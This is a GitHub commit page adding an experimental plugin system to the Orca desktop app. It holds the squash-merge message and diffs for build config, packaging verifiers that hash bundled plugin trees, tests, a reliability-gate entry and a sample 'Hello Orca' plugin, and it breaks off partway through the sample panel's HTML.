feat(plugins): Orca plugin system — kernel, content packs, panels, workers, marketplace v0 (experimental) (#8549)

* feat(plugins): Orca plugin system — kernel, content packs, panels, workers, marketplace v0 (experimental)

Adds Orca's experimental plugin system behind a settings flag: a
supervised kernel, declarative content packs (VM recipes, commands and
keybindings, language packs), sandboxed iframe panels, forked worker
hosts, and a Git-backed marketplace v0 with consent, provenance and
kill-list enforcement.

Theme, icon-theme and terminal-theme contributions are deferred to a
follow-up pass.

* fix(plugins): make unsupported marketplace listings unreachable by key

findPlugin() backs preview/install/previewInstalledUpdate via
requireListing(), so filtering only listPlugins() hid the catalog card
while leaving the dead install path reachable one click later.

* fix(plugins): fan Pi session-only status out to plugin subscribers

The providerSessionOnly early-return in applyNormalizedStatus emitted to
onAgentStatus (main-window fanout) but skipped enrichedStatusListeners, so
plugins subscribed to agent.status.changed silently missed every Pi
session_start event. Route both emit sites through one helper so a future
early return cannot drop the plugin tap again.

Co-authored-by: Orca <help@stably.ai>

* plugins: drop dead code and hoist duplicated trust-boundary patterns

Cleanup pass over the P1 diff, no behavior change:

- Delete `readPluginTreeSnapshot`/`readSnapshotFile` and their types, plus
  the now-vestigial `directories`/`signal` plumbing in `collectFiles`.
- Delete `resolveContainedPluginDirectory` (no callers).
- Delete `plugin-content-load-pool.ts`; it reimplemented the existing
  `mapWithConcurrency`, whose index arg also removes the pairing wrapper
  in `buildPluginList`.
- Hoist `PLUGIN_CONTENT_HASH_PATTERN` and `PLUGIN_COMMIT_PATTERN` into
  the install-lockfile module; 11 sites hand-rolled these identically.
- Point the new reliability gate at the PR instead of gitignored docs
  paths, matching every other gate's link form.

* fix(plugins): retry plugin state renames on Windows AV/EPERM locks

Six plugin write paths (lockfile, provenance, current pointer, kill
list, marketplace cache, staged install dir) did a plain rename, so an
antivirus or indexer holding the target open surfaced as a failed
install. The repo already retries this hazard for issue #1507, but only
through a sync helper; these paths are all async.

Adds one bounded async retry + atomic write used by all six, and trims a
consent-provenance header that restated its own JSX.

* test(plugins): cover the Windows rename retry path

The retry loop shipped untested: both existing cases hit the non-retry path,
and the temp-cleanup test passed identically with the `finally` removed.
Mock `rename` to queue errno codes so CI can exercise locks it cannot provoke.

Co-authored-by: Orca <help@stably.ai>

* fix(plugins): pin bundled plugin resources to LF

Windows CI checks out with autocrlf, so the byte-hashed launch tree arrived
as CRLF and verify-packaged-plugin-resources rejected it — the packaged build
could never pass on Windows. Reproduced locally: CRLF yields the exact CI
error, LF verifies clean. Files are already LF, so nothing renormalizes.

Co-authored-by: Orca <help@stably.ai>

* test: guard the bundled-plugin LF pin against a CRLF checkout

The byte-hash mismatch only surfaced in Windows packaging CI. Assert the
.gitattributes pin and that a CRLF tree is rejected, so a regression fails
on any platform instead of waiting for a packaged Windows build.

Co-authored-by: Orca <help@stably.ai>

* ci: trigger packaged-build check on bundled plugin resource changes

The launch tree is byte-hashed during packaging, but no trigger path covered
it — so the CRLF fix for that check would not have re-run the check. Add the
resources, verifier and .gitattributes paths that can break packaging.

Co-authored-by: Orca <help@stably.ai>

* perf(plugins): rebuild the panel frame only when its baked theme values change

The revision keys the panel iframe, so every bump destroys the sandboxed
frame and its in-panel state. It counted root attribute mutations, but
--workspace-sidebar-live-width is written every rAF of a sidebar drag, so
dragging with a panel open blanked it ~60x/sec. Compare the two values the
shell actually bakes in instead.

Co-authored-by: Orca <help@stably.ai>

* test: stop pinning a plugin name in the CRLF guard

The CRLF case rewrites every launch file, so the reported mismatch is
whichever plugin sorts first. P2 adds theme plugins that sort ahead of
orca-navigation-shortcuts, which broke the assertion there.

Co-authored-by: Orca <help@stably.ai>

* style: drop stray blank lines left by the rebase resolutions

Both sides of the agent-hooks and orca-runtime conflicts contributed a
trailing blank, which oxfmt rejects. Whitespace only.

Co-authored-by: Orca <help@stably.ai>

* test(plugins): stop the startup budget failing on machine load

P95 runs 16-34ms idle but exceeds the 50ms bound under full-suite
parallelism, so the gate flaked. Widen it to catch an order-of-magnitude
regression instead; the no-worker/no-plugin-code assertions are the real
guarantee. Verified a 400ms regression still fails.

Co-authored-by: Orca <help@stably.ai>

---------

Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
Neil 2026-07-27 01:14:33 -07:00 committed by GitHub
parent 7dab1e86e2
commit 97e4776dfe
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
316 changed files with 31576 additions and 456 deletions

2
.gitattributes vendored
View File

@ -10,3 +10,5 @@
/skill-stubs/*.md text eol=lf
/skills/*/SKILL.md text eol=lf
/src/cli/bundled-skill-guides.ts text eol=lf
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
/resources/plugins/** text eol=lf

View File

@ -27,7 +27,11 @@ on:
- 'config/patches/**'
- 'config/scripts/ensure-native-runtime.mjs'
- 'config/scripts/rebuild-native-deps.mjs'
- 'config/scripts/verify-packaged-plugin-resources.cjs'
- 'native/**'
# Byte-hashed at package time, and CRLF-sensitive on Windows.
- '.gitattributes'
- 'resources/plugins/**'
- 'resources/win32/**'
- 'src/main/daemon/**'
- 'src/main/index.ts'

View File

@ -0,0 +1,104 @@
import { spawnSync } from 'node:child_process';
import { join } from 'node:path';
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
// chunk gained `require("electron")` (an import edge added in #7642), and the
// daemon is forked as a plain-Node process where electron cannot be required.
// Nothing in CI executes the built daemon-entry under plain Node, so the leak
// stayed invisible until an adopted old daemon died. This guard fails the
// build when any chunk reachable from a plain-Node fork entry requires
// electron, and smoke-loads daemon-entry under plain Node to prove its module
// graph still resolves.
// Entries executed as plain Node (ELECTRON_RUN_AS_NODE / no electron runtime):
// forked daemon, parcel-watcher and computer sidecars, and the CLI-run
// agent-hooks entry. require("electron") throws MODULE_NOT_FOUND in all of them.
const PLAIN_NODE_ENTRY_NAMES = [
'daemon-entry',
'parcel-watcher-process-entry',
'computer-sidecar',
'agent-hooks/managed-agent-hook-controls',
'codex/codex-app-server-grant-entry'
];
const ELECTRON_REQUIRE_RE = /require\(\s*["']electron["']\s*\)/;
function collectReachableChunks(entry, byFileName) {
const seen = new Set();
const reachable = [];
const stack = [entry.fileName];
while (stack.length > 0) {
const fileName = stack.pop();
if (seen.has(fileName)) {
continue;
}
seen.add(fileName);
const chunk = byFileName.get(fileName);
if (!chunk) {
continue;
}
reachable.push(chunk);
for (const imported of [...chunk.imports, ...chunk.dynamicImports]) {
stack.push(imported);
}
}
return reachable;
}
function assertNoElectronRequire(entryName, entry, byFileName) {
for (const chunk of collectReachableChunks(entry, byFileName)) {
if (ELECTRON_REQUIRE_RE.test(chunk.code)) {
throw new Error(`[plain-node-entry-guard] "${entryName}" reaches chunk "${chunk.fileName}" that ` +
`requires electron. "${entryName}" runs as a plain-Node process, where ` +
`require("electron") throws MODULE_NOT_FOUND and kills it at startup (the ` +
`v1.4.129-rc.1 daemon outage). Keep electron imports out of its module graph.`);
}
}
}
// Why: proves the whole daemon-entry graph resolves under plain Node (no
// unresolved requires). require("electron") does not throw in a dev tree with
// node_modules present, so the static scan above — not this smoke — is the
// electron regression guard; this only catches gross load failures.
function smokeLoadDaemonEntry(outputDir) {
const entryPath = join(outputDir, 'daemon-entry.js');
const result = spawnSync(process.execPath, [entryPath], {
encoding: 'utf8',
timeout: 15_000
});
if (result.error) {
throw new Error(`[plain-node-entry-guard] could not smoke-load daemon-entry.js under plain Node: ` +
`${result.error.message}`);
}
const stderr = result.stderr ?? '';
if (/Cannot find module|MODULE_NOT_FOUND/.test(stderr)) {
throw new Error(`[plain-node-entry-guard] daemon-entry.js failed to load under plain Node:\n${stderr}`);
}
if (!stderr.includes('Usage: daemon-entry')) {
throw new Error(`[plain-node-entry-guard] daemon-entry.js did not reach argv parsing under plain Node ` +
`(expected the "Usage: daemon-entry" error). stderr:\n${stderr}`);
}
}
export function createPlainNodeEntryGuardPlugin() {
return {
name: 'orca-plain-node-entry-guard',
writeBundle(options, bundle) {
// Why: skip in `electron-vite dev` watch mode — the smoke would respawn on
// every rebuild, and the guard only needs to gate produced builds.
if (this.meta.watchMode) {
return;
}
const chunks = Object.values(bundle).filter((item) => item.type === 'chunk');
const byFileName = new Map(chunks.map((chunk) => [chunk.fileName, chunk]));
const entryByName = new Map();
for (const chunk of chunks) {
if (chunk.isEntry && chunk.name) {
entryByName.set(chunk.name, chunk);
}
}
for (const entryName of PLAIN_NODE_ENTRY_NAMES) {
const entry = entryByName.get(entryName);
if (entry) {
assertNoElectronRequire(entryName, entry, byFileName);
}
}
if (entryByName.has('daemon-entry') && options.dir) {
smokeLoadDaemonEntry(options.dir);
}
}
};
}

View File

@ -12,6 +12,7 @@ const {
verifyPackagedMainRuntimeDeps
} = require('./packaged-runtime-node-modules.cjs')
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
@ -32,11 +33,17 @@ const relayExtraResource = {
from: 'out/relay',
to: 'relay'
}
// Why: bundled plugins are immutable install inputs and must remain ordinary
// directories so the startup bootstrap can verify and publish exact bytes.
const bundledPluginResources = {
from: 'resources/plugins/launch',
to: 'plugins/launch'
}
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
// from package directories where pnpm's symlink farm is absent. Copy the exact
// runtime dependency closure to Resources/node_modules so bare require() calls
// do not fall through to a developer checkout's node_modules.
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
const macSpeechNativeResource = {
from: 'node_modules/sherpa-onnx-darwin-${arch}',
to: 'node_modules/sherpa-onnx-darwin-${arch}'
@ -87,6 +94,9 @@ module.exports = {
// it from process.resourcesPath; exclude the source copy from app.asar.
'!resources/onboarding/feature-wall/**',
'!resources/skills/**',
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
// packing the source tree into app.asar would duplicate those exact bytes.
'!resources/plugins/launch/**',
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
// (beside the native resources/bin/orca.exe). Packing the source tree into
// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
@ -129,6 +139,7 @@ module.exports = {
'out/main/hermes/**',
'out/main/win32-utils.js',
'out/main/daemon-entry.js',
'out/main/plugin-host-entry.js',
'out/main/computer-sidecar.js',
'out/main/parcel-watcher-process-entry.js',
'out/main/chunks/**',
@ -178,6 +189,9 @@ module.exports = {
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
)
}
// Why: inspect electron-builder's real output so a broken extraResources
// mapping fails packaging before bundled content reaches users.
verifyPackagedPluginResources(resourcesDir)
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
for (const filename of readdirSync(resourcesDir)) {

View File

@ -6570,6 +6570,112 @@
"Windows native runtime watches bypass this child path; WSL reservation/release is deterministic-contract tested but not live fault-injected, and SSH registration ownership is not live-relay fault-injected."
],
"demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
},
{
"id": "terminal-input.plugin-explicit-worktree-routing",
"title": "Plugin terminal input stays inside the freshly resolved worktree",
"maturity": "experimental",
"protection": "partial",
"owner": "plugin-platform",
"layer": "main-relay-contract",
"surfaces": [
"plugin host API terminal input",
"active worktree resolution",
"provider terminal inventory",
"relay capability enforcement"
],
"platforms": [
"macos",
"linux",
"windows"
],
"providers": [
"local",
"daemon",
"ssh",
"wsl",
"remote-runtime",
"mobile-relay"
],
"coveredPlatforms": [
"macos"
],
"coveredProviders": [
"local",
"ssh"
],
"coverageNotes": "Deterministic macOS contract evidence covers opaque local- and SSH-shaped terminal ids, one bounded worktree listing, mismatch rejection, and the main/relay host-call adapter matrix. It does not launch a live PTY or provision a relay-hosted plugin.",
"motivatingLinks": [
"https://github.com/stablyai/orca/pull/8549"
],
"invariant": "terminal.sendText accepts only an explicit provider-owned terminal id present in one bounded inventory of the worktree resolved immediately before the send; an absent id causes zero send calls, and relay callers cannot supply their own capability grants or transport classification.",
"oracle": "Resolve the active worktree once, list that worktree with the v0 terminal cap once, and assert zero sendTerminal calls for a mismatched opaque id versus exactly one send for matching local- and SSH-shaped ids; then run the same permission and schema cases through desktop-main and registered relay panel/worker adapters and compare error codes.",
"commands": [
"pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts"
],
"testFiles": [
"src/main/plugins/plugin-host-methods.test.ts",
"src/main/plugins/plugin-host-conformance.test.ts"
],
"assertionRefs": [
{
"file": "src/main/plugins/plugin-host-methods.test.ts",
"assertions": [
"a terminal outside the freshly resolved worktree performs one capped list and zero sends",
"matching local- and SSH-shaped opaque ids each perform one capped list and one exact send",
"workspace.readContext drops provider paths, path-bearing internal worktree ids, and terminal titles while capping its terminal projection"
]
},
{
"file": "src/main/plugins/plugin-host-conformance.test.ts",
"assertions": [
"all 13 v0 methods succeed with the required consented capability through desktop-main and relay adapters",
"missing consent, missing capability, unknown method, malformed params, panel-forbidden access, malformed results, and mutation-audit failure return identical codes",
"malformed qualified keys, client-supplied grants, and client-supplied transport flags are rejected before host policy resolution"
]
}
],
"evidenceRuns": [
{
"date": "2026-07-10",
"runner": "local",
"platform": "macos",
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts",
"result": "passed",
"durationSeconds": 0.18,
"summary": "2 files and 17 tests passed, covering the 13-method main/relay conformance matrix and exact terminal routing call counts."
}
],
"runtimeBudget": {
"p95Seconds": 10,
"scope": "plugin host main/relay contract tests"
},
"flakeHistory": {
"status": "unknown",
"evidence": "The deterministic focused suite passed locally once and needs CI and soak history before promotion."
},
"redGreenEvidence": {
"status": "partial",
"evidence": "Exact mismatch/send counts and adapter error parity are asserted; intentional-break and saved CI evidence are still missing."
},
"performanceBudget": {
"required": true,
"evidence": "Each plugin send resolves once, performs exactly one list capped at 50 terminals, and performs at most one send. The path adds no polling, subprocesses, provider fanout, renderer work, or startup await."
},
"promotionCriteria": [
"Run for at least 100 consecutive passes or 14 days across required CI platforms.",
"Attach intentional-break evidence for the worktree membership check and relay transport binding.",
"Exercise live local and SSH provider terminals, including mismatch rejection and successful input echo.",
"Keep relay-hosted plugin provisioning behind a separate reviewed policy before replacing the fail-closed registration."
],
"knownGaps": [
"Linux and Windows execution evidence is not recorded.",
"Daemon, WSL, remote-runtime, and mobile-relay providers have no live input evidence.",
"Local and SSH coverage is contract-level over opaque ids, not a live PTY input/echo run.",
"The bounded 50-terminal inventory intentionally rejects a target not present in the capped result; scale behavior above that cap needs a targeted membership API before expansion.",
"Relay-hosted plugin provisioning, consent persistence, workers, and audit services remain out of scope and the relay registration therefore denies every provisioned identity by default."
],
"demotionRule": "Keep experimental or demote to protection none if the suite flakes, permits a mismatched terminal send, performs more than one inventory list per call, accepts client-supplied grants, or relay and desktop error codes diverge."
}
]
}

View File

@ -1,4 +1,4 @@
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
@ -35,17 +35,25 @@ describe('electron-builder config', () => {
'!pr-evidence{,/**/*}',
'!Casks{,/**/*}',
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
'!out/**/*.test.js'
'!out/**/*.test.js',
'!resources/plugins/launch/**'
])
)
})
it('keeps runtime resources available through extraResources', () => {
const bundledPluginResources = expect.objectContaining({
from: 'resources/plugins/launch',
to: 'plugins/launch'
})
for (const platform of ['mac', 'linux', 'win']) {
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
from: 'resources/skills',
to: 'skills'
})
expect(electronBuilderConfig[platform].extraResources).toEqual(
expect.arrayContaining([bundledPluginResources])
)
}
expect(electronBuilderConfig.mac.extraResources).toEqual(
expect.arrayContaining([
@ -386,6 +394,11 @@ describe('electron-builder config', () => {
const resourcesDir = join(root, 'linux-unpacked', 'resources')
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
await cp(
join(process.cwd(), 'resources', 'plugins', 'launch'),
join(resourcesDir, 'plugins', 'launch'),
{ recursive: true }
)
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
// Why: afterPack now fails hard when the unpacked daemon entry is
// missing, so the fixture must carry one like a real package layout.

View File

@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
}
function parseArgs(argv) {
return {
fix: argv.includes('--fix')
const pluginCatalogs = []
for (let index = 0; index < argv.length; index += 1) {
const argument = argv[index]
if (argument === '--plugin-catalog') {
const catalogPath = argv[index + 1]
if (!catalogPath || catalogPath.startsWith('--')) {
throw new Error('--plugin-catalog requires a JSON catalog path')
}
pluginCatalogs.push(catalogPath)
index += 1
} else if (argument.startsWith('--plugin-catalog=')) {
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
}
}
return {
fix: argv.includes('--fix'),
pluginCatalogs
}
}
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
const resolvedPath = path.resolve(root, pluginCatalogPath)
let pluginCatalog
try {
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
} catch (error) {
console.error(
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
)
return 1
}
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
collectLocaleParityIssues(catalog, pluginCatalog)
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
console.log(
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
)
if (missingInLocale.length > 0) {
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
if (missingInLocale.length > 20) {
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
}
}
if (extraInLocale.length > 0) {
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
}
if (interpolationMismatches.length > 0) {
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
}
// Why: absent plugin translations safely fall back to English, but a present
// value with different variables can render broken or misleading UI.
return interpolationMismatches.length > 0 ? 1 : 0
}
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
const catalogPath = path.join(localesDir, 'en.json')
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
const pluginCatalogs = options.pluginCatalogs ?? []
if (pluginCatalogs.length > 0) {
if (options.fix) {
console.error('--fix cannot be combined with --plugin-catalog')
return 1
}
for (const pluginCatalogPath of pluginCatalogs) {
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
if (result !== 0) {
return result
}
}
return 0
}
let catalogKeys = new Set(flattenCatalogKeys(catalog))
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
const references = []

View File

@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
import { tmpdir } from 'node:os'
import path from 'node:path'
import { describe, expect, it } from 'vitest'
import { describe, expect, it, vi } from 'vitest'
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
})
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
const { root } = makeProject({
sourceText: 'export {}\n',
enCatalog: {
auto: { first: 'First {{name}}', second: 'Second' }
},
esCatalog: {
auto: { first: 'Primero {{name}}', second: 'Segundo' }
}
})
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
writeJson(pluginCatalogPath, {
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
})
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
try {
await expect(
verifyLocalizationCatalog(root, {
fix: false,
pluginCatalogs: [pluginCatalogPath]
})
).resolves.toBe(1)
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
} finally {
report.mockRestore()
}
})
})

View File

@ -0,0 +1,111 @@
const { createHash } = require('node:crypto')
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
const MAX_PLUGIN_FILES = 2_000
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
function hashLength(hash, length) {
const framedLength = Buffer.allocUnsafe(8)
framedLength.writeBigUInt64BE(BigInt(length))
hash.update(framedLength)
}
function hashPackagedPluginTree(root) {
const files = []
let entriesVisited = 0
let totalBytes = 0
const visit = (directory) => {
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
)
for (const entry of entries) {
if (directory === root && entry.name === '.git') {
continue
}
const entryPath = join(directory, entry.name)
const metadata = lstatSync(entryPath)
entriesVisited += 1
if (entriesVisited > MAX_PLUGIN_FILES) {
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
}
if (metadata.isSymbolicLink()) {
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
}
if (metadata.isDirectory()) {
visit(entryPath)
} else if (metadata.isFile()) {
totalBytes += metadata.size
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
}
files.push({ path: entryPath, size: metadata.size })
} else {
throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
}
}
}
visit(root)
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
for (const file of files) {
const relativePath = relative(root, file.path).replaceAll('\\', '/')
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
hash.update(relativePath, 'utf8')
hashLength(hash, file.size)
hash.update(readFileSync(file.path))
}
return hash.digest('hex')
}
function readJsonFile(path, label) {
try {
return JSON.parse(readFileSync(path, 'utf8'))
} catch (error) {
throw new Error(
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
)
}
}
function verifyPackagedPluginResources(resourcesDir) {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
if (!statSync(launchRoot).isDirectory()) {
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
}
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
}
const resolvedRoot = resolve(launchRoot)
for (const entry of index.plugins) {
if (
typeof entry?.pluginKey !== 'string' ||
typeof entry.path !== 'string' ||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
}
const pluginRoot = resolve(launchRoot, entry.path)
const fromRoot = relative(resolvedRoot, pluginRoot)
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
}
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
throw new Error(
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
)
}
if (hashPackagedPluginTree(pluginRoot) !== entry.contentHash) {
throw new Error(
`[verify-packaged-plugin-resources] packaged bytes do not match ${entry.pluginKey}`
)
}
}
console.log(
`[verify-packaged-plugin-resources] OK — verified ${index.plugins.length} bundled plugin(s)`
)
}
module.exports = { verifyPackagedPluginResources }

View File

@ -0,0 +1,77 @@
import { cp, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
import { createRequire } from 'node:module'
import { tmpdir } from 'node:os'
import { join } from 'node:path'
import { describe, expect, it } from 'vitest'
const require = createRequire(import.meta.url)
const { verifyPackagedPluginResources } = require('./verify-packaged-plugin-resources.cjs')
describe('verify packaged plugin resources', () => {
it('accepts exact launch bytes copied into a packaged resources directory', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
await cp(
join(process.cwd(), 'resources', 'plugins', 'launch'),
join(resourcesDir, 'plugins', 'launch'),
{ recursive: true }
)
expect(() => verifyPackagedPluginResources(resourcesDir)).not.toThrow()
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
it('rejects mutated bytes in the packaged output', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
recursive: true
})
await writeFile(
join(launchRoot, 'stablyai.orca-navigation-shortcuts', 'extra.json'),
'{"mutated":true}\n'
)
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
'packaged bytes do not match stablyai.orca-navigation-shortcuts'
)
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
// The tree is hashed by raw bytes, so a CRLF checkout on Windows breaks the
// pinned hash. These two guard the `.gitattributes` eol=lf pin that prevents it.
it('pins the launch tree to LF so Windows checkouts hash identically', async () => {
const attributes = await readFile(join(process.cwd(), '.gitattributes'), 'utf8')
expect(attributes).toContain('/resources/plugins/** text eol=lf')
})
it('rejects a CRLF checkout of the launch tree', async () => {
const resourcesDir = await mkdtemp(join(tmpdir(), 'orca-packaged-plugins-'))
try {
const launchRoot = join(resourcesDir, 'plugins', 'launch')
await cp(join(process.cwd(), 'resources', 'plugins', 'launch'), launchRoot, {
recursive: true
})
for (const entry of await readdir(launchRoot, { recursive: true })) {
const path = join(launchRoot, entry)
if (!(await stat(path)).isFile()) {
continue
}
await writeFile(path, (await readFile(path, 'utf8')).replace(/\r?\n/g, '\r\n'))
}
// Every file is rewritten, so the first mismatch is whichever plugin sorts
// first — don't pin a name a later branch can reorder.
expect(() => verifyPackagedPluginResources(resourcesDir)).toThrow(
/packaged bytes do not match stablyai\./
)
} finally {
await rm(resourcesDir, { recursive: true, force: true })
}
})
})

View File

@ -179,6 +179,7 @@ export default defineConfig({
input: {
index: resolve('src/main/index.ts'),
'daemon-entry': resolve('src/main/daemon/daemon-entry.ts'),
'plugin-host-entry': resolve('src/main/plugins/plugin-host-entry.ts'),
'computer-sidecar': resolve('src/main/computer/sidecar-entry.ts'),
'stt-worker': resolve('src/main/speech/stt-worker.ts'),
'warp-theme-parser-worker': resolve('src/main/warp-themes/warp-theme-parser-worker.ts'),

View File

@ -0,0 +1,24 @@
// Sample Orca plugin worker entry. Runs inside the out-of-process plugin
// worker (plain Node, no Electron), forked lazily on the first trigger. The
// default export receives the `orca` API: command registration, event
// handlers, and the capability-gated host API.
export default function activate(orca) {
orca.commands.register('hello-ping', async (args) => {
const stored = await orca.host.call('storage.get', { key: 'pings' })
const count = (typeof stored?.value === 'number' ? stored.value : 0) + 1
await orca.host.call('storage.set', { key: 'pings', value: count })
return { pong: true, count, args: args ?? null }
})
orca.events.on('worktree.created', async (payload) => {
orca.log(`worktree created: ${payload.worktreeId} at ${payload.path}`)
await orca.host.call('notifications.show', {
title: 'Worktree created',
body: payload.path
})
})
orca.events.on('agent.status.changed', (payload) => {
orca.log(`agent status: ${payload.state} in ${payload.worktreeId ?? 'unknown worktree'}`)
})
}

View File

@ -0,0 +1,23 @@
{
"manifestVersion": 1,
"id": "hello-orca",
"publisher": "orca-samples",
"name": "Hello Orca",
"version": "1.0.0",
"description": "Sample plugin combining a sandboxed panel, a worker command, and event subscriptions.",
"engines": { "orca": ">=1.4.0" },
"pluginApi": 1,
"main": "main.mjs",
"contributes": {
"panels": [{ "id": "hello", "title": "Hello Orca", "icon": "plug", "entry": "panel.html" }],
"commands": [{ "id": "hello-ping", "title": "Hello: Ping" }],
"events": [{ "on": "worktree.created" }, { "on": "agent.status.changed" }]
},
"capabilities": [
{ "kind": "workspace:read" },
{ "kind": "terminal:send" },
{ "kind": "notifications:show" },
{ "kind": "storage" },
{ "kind": "events:subscribe" }
]
}

View File

@ -0,0 +1,125 @@
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<style>
/* The host injects Orca design tokens as CSS custom properties, so
panels can match the app without any access to it. */
body {
margin: 0;
padding: 12px;
font-family: system-ui, sans-serif;
font-size: 13px;
color: var(--foreground, #ddd);
background: var(--background, transparent);
}
h1 {
font-size: 14px;
margin: 0 0 8px;
}
button {
display: block;
margin: 6px 0;
padding: 6px 10px;
border: 1px solid var(--border, #555);
border-radius: 6px;
background: var(--secondary, #2a2a2a);
color: var(--foreground, #ddd);
cursor: pointer;
font: inherit;
}
select {
margin: 6px 0;
max-width: 100%;
}
.status {
margin-top: 10px;
min-height: 1.4em;
